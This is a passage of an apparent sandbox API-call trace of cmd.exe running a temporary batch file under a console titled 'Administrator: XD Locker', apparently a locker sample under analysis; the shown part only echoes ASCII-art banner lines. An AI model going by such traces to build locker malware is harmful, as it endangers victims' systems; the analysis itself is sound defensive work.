lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0040.392] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1021, lpOverlapped=0x0) returned 1 [0040.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=5708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0040.392] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=64, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo ### ## ## ## ## ## #### ####### ####\r\n #\r\n") returned 64 [0040.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.392] GetFileType (hFile=0x74) returned 0x1 [0040.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0040.392] GetProcessHeap () returned 0x4e0000 [0040.392] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.392] GetProcessHeap () returned 0x4e0000 [0040.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.393] _tell (_FileHandle=3) returned 5708 [0040.393] _close (_FileHandle=3) returned 0 [0040.393] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.393] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.393] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.393] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.393] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.393] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.393] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.393] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.393] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.394] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.394] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.394] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer=" ### ## ## ## ## ## #### ####### ####\r\n") returned 59 [0040.394] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.394] GetFileType (hFile=0x7) returned 0x2 [0040.394] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.394] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.394] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.394] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3b, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x3b) returned 1 [0040.395] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.395] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.395] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.395] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.395] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.395] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.396] SetConsoleInputExeNameW () returned 0x1 [0040.396] GetConsoleOutputCP () returned 0x1b5 [0040.396] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.396] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.396] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.396] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.396] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.396] SetFilePointer (in: hFile=0x74, lDistanceToMove=5708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0040.396] GetProcessHeap () returned 0x4e0000 [0040.396] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e27e8 | out: hHeap=0x4e0000) returned 1 [0040.396] GetProcessHeap () returned 0x4e0000 [0040.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2788 | out: hHeap=0x4e0000) returned 1 [0040.397] GetProcessHeap () returned 0x4e0000 [0040.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.397] GetProcessHeap () returned 0x4e0000 [0040.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.397] GetProcessHeap () returned 0x4e0000 [0040.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.397] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0040.397] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xfe1, lpOverlapped=0x0) returned 1 [0040.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=5771, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0040.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=63, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo ## ## ## ### ####### ## ## ## ## ## ###\r\n\n #\r\n") returned 63 [0040.397] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.397] GetFileType (hFile=0x74) returned 0x1 [0040.397] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0040.397] GetProcessHeap () returned 0x4e0000 [0040.397] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.397] GetProcessHeap () returned 0x4e0000 [0040.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.398] _tell (_FileHandle=3) returned 5771 [0040.398] _close (_FileHandle=3) returned 0 [0040.398] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.398] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.398] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.398] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.398] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.398] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.398] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.398] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.399] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.399] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.399] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.399] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer=" ## ## ## ### ####### ## ## ## ## ## ###\r\n") returned 58 [0040.399] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.399] GetFileType (hFile=0x7) returned 0x2 [0040.399] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.399] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.399] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.399] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3a, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x3a) returned 1 [0040.400] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.400] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.400] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.400] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.400] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.400] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.401] SetConsoleInputExeNameW () returned 0x1 [0040.401] GetConsoleOutputCP () returned 0x1b5 [0040.401] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.401] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.401] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.401] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.401] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.401] SetFilePointer (in: hFile=0x74, lDistanceToMove=5771, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0040.401] GetProcessHeap () returned 0x4e0000 [0040.401] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e27f0 | out: hHeap=0x4e0000) returned 1 [0040.401] GetProcessHeap () returned 0x4e0000 [0040.401] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2788 | out: hHeap=0x4e0000) returned 1 [0040.402] GetProcessHeap () returned 0x4e0000 [0040.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.402] GetProcessHeap () returned 0x4e0000 [0040.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.402] GetProcessHeap () returned 0x4e0000 [0040.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.402] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0040.402] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xfa2, lpOverlapped=0x0) returned 1 [0040.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=5833, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0040.402] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=62, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo ## ## #### ####### #### ## ## ## ## ##\r\n\n\n #\r\n") returned 62 [0040.402] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.402] GetFileType (hFile=0x74) returned 0x1 [0040.402] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0040.402] GetProcessHeap () returned 0x4e0000 [0040.402] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.402] GetProcessHeap () returned 0x4e0000 [0040.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.403] _tell (_FileHandle=3) returned 5833 [0040.403] _close (_FileHandle=3) returned 0 [0040.403] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.403] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.403] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.403] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.403] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.403] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.403] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.403] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.403] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.403] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.404] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.404] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer="## ## #### ####### #### ## ## ## ## ##\r\n") returned 57 [0040.404] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.404] GetFileType (hFile=0x7) returned 0x2 [0040.404] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.404] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.404] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.404] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x39, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x39) returned 1 [0040.405] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.405] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.405] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.405] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.405] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.405] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.406] SetConsoleInputExeNameW () returned 0x1 [0040.406] GetConsoleOutputCP () returned 0x1b5 [0040.406] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.406] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.406] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.406] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.406] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=5833, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0040.406] GetProcessHeap () returned 0x4e0000 [0040.406] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e27e8 | out: hHeap=0x4e0000) returned 1 [0040.406] GetProcessHeap () returned 0x4e0000 [0040.406] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2788 | out: hHeap=0x4e0000) returned 1 [0040.406] GetProcessHeap () returned 0x4e0000 [0040.406] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.407] GetProcessHeap () returned 0x4e0000 [0040.407] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.407] GetProcessHeap () returned 0x4e0000 [0040.407] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.407] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0040.407] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xf64, lpOverlapped=0x0) returned 1 [0040.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=5890, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0040.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=57, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo ## ##\r\n ##\r\n\n\n #\r\n") returned 57 [0040.407] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.407] GetFileType (hFile=0x74) returned 0x1 [0040.407] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0040.407] GetProcessHeap () returned 0x4e0000 [0040.407] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.407] GetProcessHeap () returned 0x4e0000 [0040.407] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.408] _tell (_FileHandle=3) returned 5890 [0040.408] _close (_FileHandle=3) returned 0 [0040.408] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.408] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.408] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.408] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.408] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.408] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.408] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.408] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.408] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.408] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.409] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.409] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer=" ## ##\r\n") returned 52 [0040.409] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.409] GetFileType (hFile=0x7) returned 0x2 [0040.409] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.409] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.409] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.409] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x34) returned 1 [0040.410] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.410] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.410] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.410] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.411] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.411] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.411] SetConsoleInputExeNameW () returned 0x1 [0040.411] GetConsoleOutputCP () returned 0x1b5 [0040.411] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.411] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.411] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.411] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.412] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.412] SetFilePointer (in: hFile=0x74, lDistanceToMove=5890, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0040.412] GetProcessHeap () returned 0x4e0000 [0040.412] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2798 | out: hHeap=0x4e0000) returned 1 [0040.412] GetProcessHeap () returned 0x4e0000 [0040.412] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2778 | out: hHeap=0x4e0000) returned 1 [0040.412] GetProcessHeap () returned 0x4e0000 [0040.412] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.412] GetProcessHeap () returned 0x4e0000 [0040.412] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.412] GetProcessHeap () returned 0x4e0000 [0040.412] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.412] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.412] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0040.412] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xf2b, lpOverlapped=0x0) returned 1 [0040.412] SetFilePointer (in: hFile=0x74, lDistanceToMove=5946, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0040.412] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo ####\r\n\n ##\r\n\n\n #\r\n") returned 56 [0040.412] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.413] GetFileType (hFile=0x74) returned 0x1 [0040.413] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.413] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0040.413] GetProcessHeap () returned 0x4e0000 [0040.413] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.413] GetProcessHeap () returned 0x4e0000 [0040.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.413] _tell (_FileHandle=3) returned 5946 [0040.413] _close (_FileHandle=3) returned 0 [0040.414] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.414] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.414] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.414] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.414] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.414] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.414] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.414] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.414] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.414] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.414] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.414] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer=" ####\r\n") returned 51 [0040.414] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.414] GetFileType (hFile=0x7) returned 0x2 [0040.414] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.414] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.415] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.415] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x33) returned 1 [0040.415] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.415] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.415] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.415] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.416] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.416] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.416] SetConsoleInputExeNameW () returned 0x1 [0040.416] GetConsoleOutputCP () returned 0x1b5 [0040.416] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.416] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.416] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.417] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.417] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.417] SetFilePointer (in: hFile=0x74, lDistanceToMove=5946, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0040.417] GetProcessHeap () returned 0x4e0000 [0040.417] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5018b8 | out: hHeap=0x4e0000) returned 1 [0040.417] GetProcessHeap () returned 0x4e0000 [0040.417] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2778 | out: hHeap=0x4e0000) returned 1 [0040.417] GetProcessHeap () returned 0x4e0000 [0040.417] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.417] GetProcessHeap () returned 0x4e0000 [0040.417] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.417] GetProcessHeap () returned 0x4e0000 [0040.417] HeapFree (in: 